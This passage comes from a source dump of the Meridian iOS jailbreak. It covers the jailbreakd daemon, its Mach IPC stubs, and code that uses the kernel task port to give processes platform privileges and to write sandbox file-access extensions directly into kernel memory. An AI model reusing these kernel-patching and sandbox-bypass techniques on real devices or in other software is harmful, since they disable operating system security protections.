MACH_MSGH_BITS(MACH_MSGH_BITS_REPLY(InHeadP->msgh_bits), 0);\n\tOutHeadP->msgh_remote_port = InHeadP->msgh_reply_port;\n\t/* Minimal size: routine() will update it if different */\n\tOutHeadP->msgh_size = (mach_msg_size_t)sizeof(mig_reply_error_t);\n\tOutHeadP->msgh_local_port = MACH_PORT_NULL;\n\tOutHeadP->msgh_id = InHeadP->msgh_id + 100;\n\tOutHeadP->msgh_reserved = 0;\n\n\tif ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||\n\t    ((routine = jbd_jailbreak_daemon_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {\n\t\t((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;\n\t\t((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;\n\t\treturn FALSE;\n\t}\n\t(*routine) (InHeadP, OutHeadP);\n\treturn TRUE;\n}\n\nmig_external mig_routine_t jailbreak_daemon_server_routine\n\t(mach_msg_header_t *InHeadP)\n{\n\tregister int msgh_id;\n\n\tmsgh_id = InHeadP->msgh_id - 500;\n\n\tif ((msgh_id > 0) || (msgh_id < 0))\n\t\treturn 0;\n\n\treturn jbd_jailbreak_daemon_subsystem.routine[msgh_id].stub_routine;\n}\n"
  },
  {
    "path": "Meridian/jailbreakd/mach/jailbreak_daemonServer.h",
    "content": "#ifndef\t_jailbreak_daemon_server_\n#define\t_jailbreak_daemon_server_\n\n/* Module jailbreak_daemon */\n\n#include <string.h>\n#include <mach/ndr.h>\n#include <mach/boolean.h>\n#include <mach/kern_return.h>\n#include <mach/notify.h>\n#include <mach/mach_types.h>\n#include <mach/message.h>\n#include <mach/mig_errors.h>\n#include <mach/port.h>\n\t\n/* BEGIN VOUCHER CODE */\n\n#ifndef KERNEL\n#if defined(__has_include)\n#if __has_include(<mach/mig_voucher_support.h>)\n#ifndef USING_VOUCHERS\n#define USING_VOUCHERS\n#endif\n#ifndef __VOUCHER_FORWARD_TYPE_DECLS__\n#define __VOUCHER_FORWARD_TYPE_DECLS__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\textern boolean_t voucher_mach_msg_set(mach_msg_header_t *msg) __attribute__((weak_import));\n#ifdef __cplusplus\n}\n#endif\n#endif // __VOUCHER_FORWARD_TYPE_DECLS__\n#endif // __has_include(<mach/mach_voucher_types.h>)\n#endif // __has_include\n#endif // !KERNEL\n\t\n/* END VOUCHER CODE */\n\n\t\n/* BEGIN MIG_STRNCPY_ZEROFILL CODE */\n\n#if defined(__has_include)\n#if __has_include(<mach/mig_strncpy_zerofill_support.h>)\n#ifndef USING_MIG_STRNCPY_ZEROFILL\n#define USING_MIG_STRNCPY_ZEROFILL\n#endif\n#ifndef __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__\n#define __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\textern int mig_strncpy_zerofill(char *dest, const char *src, int len) __attribute__((weak_import));\n#ifdef __cplusplus\n}\n#endif\n#endif /* __MIG_STRNCPY_ZEROFILL_FORWARD_TYPE_DECLS__ */\n#endif /* __has_include(<mach/mig_strncpy_zerofill_support.h>) */\n#endif /* __has_include */\n\t\n/* END MIG_STRNCPY_ZEROFILL CODE */\n\n\n#ifdef AUTOTEST\n#ifndef FUNCTION_PTR_T\n#define FUNCTION_PTR_T\ntypedef void (*function_ptr_t)(mach_port_t, char *, mach_msg_type_number_t);\ntypedef struct {\n        char            *name;\n        function_ptr_t  function;\n} function_table_entry;\ntypedef function_table_entry   *function_table_t;\n#endif /* FUNCTION_PTR_T */\n#endif /* AUTOTEST */\n\n#ifndef\tjailbreak_daemon_MSG_COUNT\n#define\tjailbreak_daemon_MSG_COUNT\t1\n#endif\t/* jailbreak_daemon_MSG_COUNT */\n\n#include <mach/std_types.h>\n#include <mach/mig.h>\n#include <mach/mig.h>\n#include <mach/mach_types.h>\n\n#ifdef __BeforeMigServerHeader\n__BeforeMigServerHeader\n#endif /* __BeforeMigServerHeader */\n\n\n/* Routine call */\n#ifdef\tmig_external\nmig_external\n#else\nextern\n#endif\t/* mig_external */\nkern_return_t jbd_call\n(\n\tmach_port_t server_port,\n\tuint8_t command,\n\tuint32_t pid\n);\n\n#ifdef\tmig_external\nmig_external\n#else\nextern\n#endif\t/* mig_external */\nboolean_t jailbreak_daemon_server(\n\t\tmach_msg_header_t *InHeadP,\n\t\tmach_msg_header_t *OutHeadP);\n\n#ifdef\tmig_external\nmig_external\n#else\nextern\n#endif\t/* mig_external */\nmig_routine_t jailbreak_daemon_server_routine(\n\t\tmach_msg_header_t *InHeadP);\n\n\n/* Description of this subsystem, for use in direct RPC */\nextern const struct jbd_jailbreak_daemon_subsystem {\n\tmig_server_routine_t\tserver;\t/* Server routine */\n\tmach_msg_id_t\tstart;\t/* Min routine number */\n\tmach_msg_id_t\tend;\t/* Max routine number + 1 */\n\tunsigned int\tmaxsize;\t/* Max msg size */\n\tvm_address_t\treserved;\t/* Reserved */\n\tstruct routine_descriptor\t/*Array of routine descriptors */\n\t\troutine[1];\n} jbd_jailbreak_daemon_subsystem;\n\n/* typedefs for all requests */\n\n#ifndef __Request__jailbreak_daemon_subsystem__defined\n#define __Request__jailbreak_daemon_subsystem__defined\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tuint8_t command;\n\t\tchar commandPad[3];\n\t\tuint32_t pid;\n\t} __Request__call_t __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n#endif /* !__Request__jailbreak_daemon_subsystem__defined */\n\n\n/* union of all requests */\n\n#ifndef __RequestUnion__jbd_jailbreak_daemon_subsystem__defined\n#define __RequestUnion__jbd_jailbreak_daemon_subsystem__defined\nunion __RequestUnion__jbd_jailbreak_daemon_subsystem {\n\t__Request__call_t Request_call;\n};\n#endif /* __RequestUnion__jbd_jailbreak_daemon_subsystem__defined */\n/* typedefs for all replies */\n\n#ifndef __Reply__jailbreak_daemon_subsystem__defined\n#define __Reply__jailbreak_daemon_subsystem__defined\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tkern_return_t RetCode;\n\t} __Reply__call_t __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n#endif /* !__Reply__jailbreak_daemon_subsystem__defined */\n\n\n/* union of all replies */\n\n#ifndef __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined\n#define __ReplyUnion__jbd_jailbreak_daemon_subsystem__defined\nunion __ReplyUnion__jbd_jailbreak_daemon_subsystem {\n\t__Reply__call_t Reply_call;\n};\n#endif /* __RequestUnion__jbd_jailbreak_daemon_subsystem__defined */\n\n#ifndef subsystem_to_name_map_jailbreak_daemon\n#define subsystem_to_name_map_jailbreak_daemon \\\n    { \"call\", 500 }\n#endif\n\n#ifdef __AfterMigServerHeader\n__AfterMigServerHeader\n#endif /* __AfterMigServerHeader */\n\n#endif\t /* _jailbreak_daemon_server_ */\n"
  },
  {
    "path": "Meridian/jailbreakd/mach/mig.defs",
    "content": "// mig -sheader jailbreak_daemonServer.h -header jailbreak_daemonUser.h mig.defs\n\nsubsystem jailbreak_daemon 500;\nuserprefix jbd_;\nserverprefix jbd_;\n\nWaitTime 2500;\n\n#include <mach/std_types.defs>\n#include <mach/mach_types.defs>\n\nroutine call(server_port : mach_port_t;\n             in command  : uint8_t;\n             in pid      : uint32_t);\n"
  },
  {
    "path": "Meridian/jailbreakd/main.m",
    "content": "#import <Foundation/Foundation.h>\n\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <mach/mach.h>\n#include <mach/error.h>\n\n#include \"common.h\"\n#include \"jailbreak_daemonServer.h\"\n#include \"kern_utils.h\"\n#include \"kexecute.h\"\n#include \"kmem.h\"\n\n#define PROC_PIDPATHINFO_MAXSIZE (4 * MAXPATHLEN)\nint proc_pidpath(pid_t pid, void *buffer, uint32_t buffersize);\n\n#define JAILBREAKD_COMMAND_ENTITLE                              1\n#define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT                  2\n#define JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY    3\n#define JAILBREAKD_COMMAND_FIXUP_SETUID                         4\n\ntypedef boolean_t (*dispatch_mig_callback_t)(mach_msg_header_t *message, mach_msg_header_t *reply);\nmach_msg_return_t dispatch_mig_server(dispatch_source_t ds, size_t maxmsgsz, dispatch_mig_callback_t callback);\nkern_return_t bootstrap_check_in(mach_port_t bootstrap_port, const char *service, mach_port_t *server_port);\n\ndispatch_queue_t queue = NULL;\n\nint is_valid_command(uint8_t command) {\n    return (command == JAILBREAKD_COMMAND_ENTITLE ||\n            command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT ||\n            command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY ||\n            command == JAILBREAKD_COMMAND_FIXUP_SETUID);\n}\n\nint handle_command(uint8_t command, uint32_t pid) {\n    if (!is_valid_command(command)) {\n        DEBUGLOG(true, \"Invalid command recieved.\");\n        return 1;\n    }\n    \n    if (command == JAILBREAKD_COMMAND_ENTITLE) {\n        DEBUGLOG(true, \"JAILBREAKD_COMMAND_ENTITLE PID: %d\", pid);\n        platformize(pid);\n    }\n    \n    if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT) {\n        DEBUGLOG(true, \"JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT PID: %d\", pid);\n        platformize(pid);\n        kill(pid, SIGCONT);\n    }\n    \n    if (command == JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY) {\n        DEBUGLOG(true, \"JAILBREAKD_COMMAND_ENTITLE_AND_SIGCONT_FROM_XPCPROXY PID: %d\", pid);\n        \n        dispatch_async(queue, ^{\n            char pathbuf[PROC_PIDPATHINFO_MAXSIZE];\n            bzero(pathbuf, PROC_PIDPATHINFO_MAXSIZE);\n\n            int err = 0, tries = 0;\n            \n            do {\n                err = proc_pidpath(pid, pathbuf, PROC_PIDPATHINFO_MAXSIZE);\n                if (err <= 0) {\n                    DEBUGLOG(true, \"failed to get pidpath for %d\", pid);\n                    kill(pid, SIGCONT); // just in case\n                    return;\n                }\n                \n                tries++;\n                // gives (1,000 * 1,000 microseconds) 1 seconds of total wait time\n                if (tries >= 1000) {\n                    DEBUGLOG(true, \"failed to get pidpath for %d (%d tries)\", pid, tries);\n                    kill(pid, SIGCONT); // just in case\n                    return;\n                }\n                \n                usleep(1000);\n            } while (strcmp(pathbuf, \"/usr/libexec/xpcproxy\") == 0);\n            \n            DEBUGLOG(true, \"xpcproxy has morphed to: %s\", pathbuf);\n            platformize(pid);\n            kill(pid, SIGCONT);\n        });\n    }\n    \n    if (command == JAILBREAKD_COMMAND_FIXUP_SETUID) {\n        DEBUGLOG(true, \"JAILBREAKD_FIXUP_SETUID PID: %d (ignored)\", pid);\n    }\n    \n    return 0;\n}\n\nkern_return_t jbd_call(mach_port_t server_port, uint8_t command, uint32_t pid) {\n    DEBUGLOG(false, \"jbd_call: %x, %x, %d\", server_port, command, pid);\n    return (handle_command(command, pid) == 0) ? KERN_SUCCESS : KERN_FAILURE;\n}\n\nint main(int argc, char **argv, char **envp) {\n    kern_return_t err;\n    \n    DEBUGLOG(true, \"the fun and games shall begin! (applying lube...)\");\n    unlink(\"/var/tmp/jailbreakd.pid\");\n    \n    // Parse offsets from env var's\n    kernel_base             = strtoull(getenv(\"KernelBase\"),        NULL, 16);\n    kernel_slide            = kernel_base - 0xFFFFFFF007004000;\n    DEBUGLOG(true, \"kern base: %llx, slide: %llx\", kernel_base, kernel_slide);\n    \n    kernprocaddr            = strtoull(getenv(\"KernProcAddr\"),      NULL, 16);\n    offset_zonemap          = strtoull(getenv(\"ZoneMapOffset\"),     NULL, 16);\n    \n    offset_add_ret_gadget   = strtoull(getenv(\"AddRetGadget\"),      NULL, 16);\n    offset_osboolean_true   = strtoull(getenv(\"OSBooleanTrue\"),     NULL, 16);\n    offset_osboolean_false  = strtoull(getenv(\"OSBooleanFalse\"),    NULL, 16);\n    offset_osunserializexml = strtoull(getenv(\"OSUnserializeXML\"),  NULL, 16);\n    offset_smalloc          = strtoull(getenv(\"Smalloc\"),           NULL, 16);\n    \n    // tfp0, patchfinder, kexecute\n    err = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0);\n    if (err != KERN_SUCCESS) {\n        DEBUGLOG(true, \"host_get_special_port 4: %s\", mach_error_string(err));\n        return -1;\n    }\n    DEBUGLOG(true, \"tfp0: %x\", tfp0);\n    \n    init_kexecute();\n    \n    queue = dispatch_queue_create(\"jailbreakd.queue\", NULL);\n    \n    // Set up mach stuff\n    mach_port_t server_port;\n    if ((err = bootstrap_check_in(bootstrap_port, \"zone.sparkes.jailbreakd\", &server_port))) {\n        DEBUGLOG(true, \"Failed to check in: %s\", mach_error_string(err));\n        return -1;\n    }\n    \n    dispatch_source_t server = dispatch_source_create(DISPATCH_SOURCE_TYPE_MACH_RECV, server_port, 0, dispatch_get_main_queue());\n    dispatch_source_set_event_handler(server, ^{\n        dispatch_mig_server(server, jbd_jailbreak_daemon_subsystem.maxsize, jailbreak_daemon_server);\n    });\n    dispatch_resume(server);\n    \n    // Now ready for connections!\n    DEBUGLOG(true, \"mach server now running!\");\n    \n    FILE *fd = fopen(\"/var/tmp/jailbreakd.pid\", \"w\");\n    fprintf(fd, \"%d\\n\", getpid());\n    fclose(fd);\n    \n    // Start accepting connections\n    // This will block exec\n    dispatch_main();\n    \n    return 0;\n}\n"
  },
  {
    "path": "Meridian/jailbreakd/sandbox.h",
    "content": "\n// see https://stek29.rocks/2018/01/26/sandbox.html\n\nvoid extension_add(uint64_t ext, uint64_t sb, const char* desc);\nuint64_t extension_create_file(const char* path, uint64_t nextptr);\nint has_file_extension(uint64_t sb, const char* path);\n"
  },
  {
    "path": "Meridian/jailbreakd/sandbox.m",
    "content": "#include \"kmem.h\"\n#include \"kern_utils.h\"\n#include \"sandbox.h\"\n#include \"kexecute.h\"\n\ntypedef uint64_t extension_hdr_t;\ntypedef uint64_t extension_t;\n\nstruct extension_hdr {\n    /* 0x00 */    extension_hdr_t next;\n    /* 0x08 */    uint64_t desc;\n    /* 0x10 */    extension_t ext_lst;\n    /* 0x18 */\n};\n\nstruct extension {\n    /* 0x00 */    extension_t next;\n    /* 0x08 */    uint64_t desc; // always 0xffffffffffffffff\n    /* 0x10 */    uint64_t ext_lst; // zero, since it's extension and not a header\n    /* 0x18 */    uint8_t something[32]; // zeroed from what I've seen\n    /* 0x38 */    uint32_t type; // see ext_type enum\n    /* 0x3c */    uint32_t subtype; // either 0 or 4 (or whatever unhex gave?..)\n    /* 0x40 */    uint64_t data; // a c string, meaning depends on type and hdr which had this extension\n    /* 0x48 */    uint64_t data_len; // strlen(data)\n    /* 0x50 */    uint64_t unk0; // always 0\n    /* 0x58 */    uint64_t unk1; // always 0xdeadbeefdeadbeef\n    /* 0x60 */\n};\n\nuint64_t _smalloc(uint64_t size) {\n    return kexecute(offset_smalloc, size, 0, 0, 0, 0, 0, 0);\n}\n\nuint64_t smalloc(uint64_t size) {\n    uint64_t ret = _smalloc(size);\n    \n    if (ret != 0) {\n        // IOAlloc's of small size go to zalloc\n        ret = zm_fix_addr(ret);\n    }\n    \n    return ret;\n}\n\nuint64_t sstrdup(const char* s) {\n    size_t slen = strlen(s) + 1;\n    \n    uint64_t ks = smalloc(slen);\n    if (ks) {\n        kwrite(ks, s, slen);\n    }\n    \n    return ks;\n}\n\n// Notice: path should *not* end with '/' !\nuint64_t extension_create_file(const char* path, uint64_t nextptr) {\n    size_t slen = strlen(path);\n    \n    if (path[slen - 1] == '/') {\n        fprintf(stderr, \"No traling slash in path pls \\n\");\n        return 0;\n    }\n    \n    uint64_t ext_p = smalloc(sizeof(struct extension));\n    uint64_t ks = sstrdup(path);\n    \n    if (ext_p && ks) {\n        struct extension ext;\n        bzero(&ext, sizeof(ext));\n        ext.next = nextptr;\n        ext.desc = 0xffffffffffffffff;\n        \n        ext.data = ks;\n        ext.data_len = slen;\n        \n        kwrite(ext_p, &ext, sizeof(ext));\n    } else {\n        // XXX oh no a leak\n    }\n    \n    return ext_p;\n}\n\n// get 64 higher bits of 64bit int multiplication\n// https://stackoverflow.com/a/28904636\n// ofc in asm it's done with 1 instruction huh\n// XXX there has to be a cleaner way utilizing hardware support\nuint64_t mulhi(uint64_t a, uint64_t b) {\n    uint64_t    a_lo = (uint32_t)a;\n    uint64_t    a_hi = a >> 32;\n    uint64_t    b_lo = (uint32_t)b;\n    uint64_t    b_hi = b >> 32;\n    \n    uint64_t    a_x_b_hi =  a_hi * b_hi;\n    uint64_t    a_x_b_mid = a_hi * b_lo;\n    uint64_t    b_x_a_mid = b_hi * a_lo;\n    uint64_t    a_x_b_lo =  a_lo * b_lo;\n    \n    uint64_t    carry_bit = ((uint64_t)(uint32_t)a_x_b_mid +\n                             (uint64_t)(uint32_t)b_x_a_mid +\n                             (a_x_b_lo >> 32) ) >> 32;\n    \n    uint64_t    multhi = a_x_b_hi +\n    (a_x_b_mid >> 32) + (b_x_a_mid >> 32) +\n    carry_bit;\n    \n    return multhi;\n}\n\nint hashing_magic(const char *desc) {\n    // inlined into exception_add\n    uint64_t hashed = 0x1505;\n    \n    // if desc == NULL, then returned value would be 8\n    // APPL optimizes it for some reason\n    // but meh, desc should never be NULL or you get\n    // null dereference in exception_add\n    // if (desc == NULL) return 8;\n    \n    if (desc != NULL) {\n        for (const char* dp = desc; *dp != '\\0'; ++dp) {\n            hashed += hashed << 5;\n            hashed += (int64_t) *dp;\n        }\n    }\n    \n    uint64_t magic = 0xe38e38e38e38e38f;\n    \n    uint64_t hi = mulhi(hashed, magic);\n    hi >>= 3;\n    hi = (hi<<3) + hi;\n    \n    hashed -= hi;\n    \n    return hashed;\n}\n\nstatic const char *ent_key = \"com.apple.security.exception.files.absolute-path.read-only\";\n\nuint64_t make_ext_hdr(const char* key, uint64_t ext_lst) {\n    struct extension_hdr hdr;\n    \n    uint64_t khdr = smalloc(sizeof(hdr));\n    \n    if (khdr) {\n        // we add headers to end\n        hdr.next = 0;\n        hdr.desc = sstrdup(key);\n        if (hdr.desc == 0) {\n            // XXX leak\n            return 0;\n        }\n        \n        hdr.ext_lst = ext_lst;\n        kwrite(khdr, &hdr, sizeof(hdr));\n    }\n    \n    return khdr;\n}\n\nvoid extension_add(uint64_t ext, uint64_t sb, const char* desc) {\n    // XXX patchfinder + kexecute would be way better\n    \n    int slot = hashing_magic(ent_key);\n    uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*);\n    uint64_t insert_at = rk64(insert_at_p);\n    \n    while (insert_at != 0) {\n        uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc));\n        \n        if (kstrcmp(kdsc, desc) == 0) {\n            break;\n        }\n        \n        insert_at_p = insert_at;\n        insert_at = rk64(insert_at);\n    }\n    \n    if (insert_at == 0) {\n        insert_at = make_ext_hdr(ent_key, ext);\n        wk64(insert_at_p, insert_at);\n    } else {\n        // XXX no duplicate check\n        uint64_t ext_lst_p = insert_at + offsetof(struct extension_hdr, ext_lst);\n        uint64_t ext_lst = rk64(ext_lst_p);\n        \n        while (ext_lst != 0) {\n            fprintf(stderr, \"ext_lst_p = 0x%llx ext_lst = 0x%llx\\n\", ext_lst_p, ext_lst);\n            ext_lst_p = ext_lst + offsetof(struct extension, next);\n            ext_lst = rk64(ext_lst_p);\n        }\n        \n        fprintf(stderr, \"ext_lst_p = 0x%llx ext_lst = 0x%llx\\n\", ext_lst_p, ext_lst);\n        \n        wk64(ext_lst_p, ext);\n    }\n}\n\n// 1 if yes\nint has_file_extension(uint64_t sb, const char* path) {\n    const char* desc = ent_key;\n    int found = 0;\n    \n    int slot = hashing_magic(ent_key);\n    uint64_t insert_at_p = sb + sizeof(void*) + slot * sizeof(void*);\n    uint64_t insert_at = rk64(insert_at_p);\n    \n    while (insert_at != 0) {\n        uint64_t kdsc = rk64(insert_at + offsetof(struct extension_hdr, desc));\n        \n        if (kstrcmp(kdsc, desc) == 0) {\n            break;\n        }\n        \n        insert_at_p = insert_at;\n        insert_at = rk64(insert_at);\n    }\n    \n    if (insert_at != 0) {\n        uint64_t ext_lst = rk64(insert_at + offsetof(struct extension_hdr, ext_lst));\n        \n        uint64_t plen = strlen(path);\n        char *exist = malloc(plen + 1);\n        exist[plen] = '\\0';\n        \n        while (ext_lst != 0) {\n            // XXX no type/subtype check\n            uint64_t data_len = rk64(ext_lst + offsetof(struct extension, data_len));\n            if (data_len == plen) {\n                uint64_t data = rk64(ext_lst + offsetof(struct extension, data));\n                kread(data, exist, plen);\n                \n                if (strcmp(path, exist) == 0) {\n                    found = 1;\n                    break;\n                }\n            }\n            \n            ext_lst = rk64(ext_lst);\n        }\n        \n        \n        free(exist);\n    }\n    \n    return found;\n}\n"
  },
  {
    "path": "Meridian/pspawn_hook/Makefile",
    "content": "TARGET  = pspawn_hook.dylib\nOUTDIR ?= bin\nSRC     = $(wildcard *.c) $(wildcard *.m) $(wildcard mach/*.c)\n\nCC      = xcrun -sdk iphoneos gcc -arch arm64 -arch armv7 -arch armv7s\nLDID    = ldid\nCFLAGS  = -dynamiclib -I./mach -framework Foundation\n\nall: $(OUTDIR)/$(TARGET)\n\n$(OUTDIR):\n\tmkdir -p $(OUTDIR)\n\n$(OUTDIR)/$(TARGET): $(SRC) | $(OUTDIR)\n\t$(CC) $(CFLAGS) -o $@ $^\n\t$(LDID) -S $@\n\ninstall: all\n\nclean:\n\trm -rf $(OUTDIR)\n"
  },
  {
    "path": "Meridian/pspawn_hook/mach/jailbreak_daemonUser.c",
    "content": "/*\n * IDENTIFICATION:\n * stub generated Fri Sep 21 22:56:39 2018\n * with a MiG generated by bootstrap_cmds-96.20.2\n * OPTIONS: \n */\n#define\t__MIG_check__Reply__jailbreak_daemon_subsystem__ 1\n\n#include \"jailbreak_daemonUser.h\"\n\n\n#ifndef\tmig_internal\n#define\tmig_internal\tstatic __inline__\n#endif\t/* mig_internal */\n\n#ifndef\tmig_external\n#define mig_external\n#endif\t/* mig_external */\n\n#if\t!defined(__MigTypeCheck) && defined(TypeCheck)\n#define\t__MigTypeCheck\t\tTypeCheck\t/* Legacy setting */\n#endif\t/* !defined(__MigTypeCheck) */\n\n#if\t!defined(__MigKernelSpecificCode) && defined(_MIG_KERNEL_SPECIFIC_CODE_)\n#define\t__MigKernelSpecificCode\t_MIG_KERNEL_SPECIFIC_CODE_\t/* Legacy setting */\n#endif\t/* !defined(__MigKernelSpecificCode) */\n\n#ifndef\tLimitCheck\n#define\tLimitCheck 0\n#endif\t/* LimitCheck */\n\n#ifndef\tmin\n#define\tmin(a,b)  ( ((a) < (b))? (a): (b) )\n#endif\t/* min */\n\n#if !defined(_WALIGN_)\n#define _WALIGN_(x) (((x) + 3) & ~3)\n#endif /* !defined(_WALIGN_) */\n\n#if !defined(_WALIGNSZ_)\n#define _WALIGNSZ_(x) _WALIGN_(sizeof(x))\n#endif /* !defined(_WALIGNSZ_) */\n\n#ifndef\tUseStaticTemplates\n#define\tUseStaticTemplates\t0\n#endif\t/* UseStaticTemplates */\n\n#ifndef\t__MachMsgErrorWithTimeout\n#define\t__MachMsgErrorWithTimeout(_R_) { \\\n\tswitch (_R_) { \\\n\tcase MACH_SEND_INVALID_DATA: \\\n\tcase MACH_SEND_INVALID_DEST: \\\n\tcase MACH_SEND_INVALID_HEADER: \\\n\t\tmig_put_reply_port(InP->Head.msgh_reply_port); \\\n\t\tbreak; \\\n\tcase MACH_SEND_TIMED_OUT: \\\n\tcase MACH_RCV_TIMED_OUT: \\\n\tdefault: \\\n\t\tmig_dealloc_reply_port(InP->Head.msgh_reply_port); \\\n\t} \\\n}\n#endif\t/* __MachMsgErrorWithTimeout */\n\n#ifndef\t__MachMsgErrorWithoutTimeout\n#define\t__MachMsgErrorWithoutTimeout(_R_) { \\\n\tswitch (_R_) { \\\n\tcase MACH_SEND_INVALID_DATA: \\\n\tcase MACH_SEND_INVALID_DEST: \\\n\tcase MACH_SEND_INVALID_HEADER: \\\n\t\tmig_put_reply_port(InP->Head.msgh_reply_port); \\\n\t\tbreak; \\\n\tdefault: \\\n\t\tmig_dealloc_reply_port(InP->Head.msgh_reply_port); \\\n\t} \\\n}\n#endif\t/* __MachMsgErrorWithoutTimeout */\n\n#ifndef\t__DeclareSendRpc\n#define\t__DeclareSendRpc(_NUM_, _NAME_)\n#endif\t/* __DeclareSendRpc */\n\n#ifndef\t__BeforeSendRpc\n#define\t__BeforeSendRpc(_NUM_, _NAME_)\n#endif\t/* __BeforeSendRpc */\n\n#ifndef\t__AfterSendRpc\n#define\t__AfterSendRpc(_NUM_, _NAME_)\n#endif\t/* __AfterSendRpc */\n\n#ifndef\t__DeclareSendSimple\n#define\t__DeclareSendSimple(_NUM_, _NAME_)\n#endif\t/* __DeclareSendSimple */\n\n#ifndef\t__BeforeSendSimple\n#define\t__BeforeSendSimple(_NUM_, _NAME_)\n#endif\t/* __BeforeSendSimple */\n\n#ifndef\t__AfterSendSimple\n#define\t__AfterSendSimple(_NUM_, _NAME_)\n#endif\t/* __AfterSendSimple */\n\n#define msgh_request_port\tmsgh_remote_port\n#define msgh_reply_port\t\tmsgh_local_port\n\n\n\n#if ( __MigTypeCheck )\n#if __MIG_check__Reply__jailbreak_daemon_subsystem__\n#if !defined(__MIG_check__Reply__call_t__defined)\n#define __MIG_check__Reply__call_t__defined\n\nmig_internal kern_return_t __MIG_check__Reply__call_t(__Reply__call_t *Out0P)\n{\n\n\ttypedef __Reply__call_t __Reply __attribute__((unused));\n\tif (Out0P->Head.msgh_id != 600) {\n\t    if (Out0P->Head.msgh_id == MACH_NOTIFY_SEND_ONCE)\n\t\t{ return MIG_SERVER_DIED; }\n\t    else\n\t\t{ return MIG_REPLY_MISMATCH; }\n\t}\n\n#if\t__MigTypeCheck\n\tif ((Out0P->Head.msgh_bits & MACH_MSGH_BITS_COMPLEX) ||\n\t    (Out0P->Head.msgh_size != (mach_msg_size_t)sizeof(__Reply)))\n\t\t{ return MIG_TYPE_ERROR ; }\n#endif\t/* __MigTypeCheck */\n\n\t{\n\t\treturn Out0P->RetCode;\n\t}\n}\n#endif /* !defined(__MIG_check__Reply__call_t__defined) */\n#endif /* __MIG_check__Reply__jailbreak_daemon_subsystem__ */\n#endif /* ( __MigTypeCheck ) */\n\n\n/* Routine call */\nmig_external kern_return_t jbd_call\n(\n\tmach_port_t server_port,\n\tuint8_t command,\n\tuint32_t pid\n)\n{\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tuint8_t command;\n\t\tchar commandPad[3];\n\t\tuint32_t pid;\n\t} Request __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tkern_return_t RetCode;\n\t\tmach_msg_trailer_t trailer;\n\t} Reply __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n\n#ifdef  __MigPackStructs\n#pragma pack(4)\n#endif\n\ttypedef struct {\n\t\tmach_msg_header_t Head;\n\t\tNDR_record_t NDR;\n\t\tkern_return_t RetCode;\n\t} __Reply __attribute__((unused));\n#ifdef  __MigPackStructs\n#pragma pack()\n#endif\n\t/*\n\t * typedef struct {\n\t * \tmach_msg_header_t Head;\n\t * \tNDR_record_t NDR;\n\t * \tkern_return_t RetCode;\n\t * } mig_reply_error_t;\n\t */\n\n\tunion {\n\t\tRequest In;\n\t\tReply Out;\n\t} Mess;\n\n\tRequest *InP = &Mess.In;\n\tReply *Out0P = &Mess.Out;\n\n\tmach_msg_return_t msg_result;\n\n#ifdef\t__MIG_check__Reply__call_t__defined\n\tkern_return_t check_result;\n#endif\t/* __MIG_check__Reply__call_t__defined */\n\n\t__DeclareSendRpc(500, \"call\")\n\n\tInP->NDR = NDR_record;\n\n\tInP->command = command;\n\n\tInP->pid = pid;\n\n\tInP->Head.msgh_bits =\n\t\tMACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE);\n\t/* msgh_size passed as argument */\n\tInP->Head.msgh_request_port = server_port;\n\tInP->Head.msgh_reply_port = mig_get_reply_port();\n\tInP->Head.msgh_id = 500;\n\tInP->Head.msgh_reserved = 0;\n\t\n/* BEGIN VOUCHER CODE */\n\n#ifdef USING_VOUCHERS\n\tif (voucher_mach_msg_set != NULL) {\n\t\tvoucher_mach_msg_set(&InP->Head);\n\t}\n#endif // USING_VOUCHERS\n\t\n/* END VOUCHER CODE */\n\n\t__BeforeSendRpc(500, \"call\")\n\tmsg_result = mach_msg(&InP->Head, MACH_SEND_MSG|MACH_RCV_MSG|MACH_SEND_TIMEOUT|MACH_RCV_TIMEOUT|MACH_MSG_OPTION_NONE, (mach_msg_size_t)sizeof(Request), (mach_msg_size_t)sizeof(Reply), InP->Head.msgh_reply_port, 2500, MACH_PORT_NULL);\n\t__AfterSendRpc(500, \"call\")\n\n\tif (msg_result == MACH_SEND_TIMED_OUT) {\n\t}\n\n\tif (msg_result != MACH_MSG_SUCCESS) {\n\t\t__MachMsgErrorWithTimeout(msg_result);\n\t\t{ return msg_result; 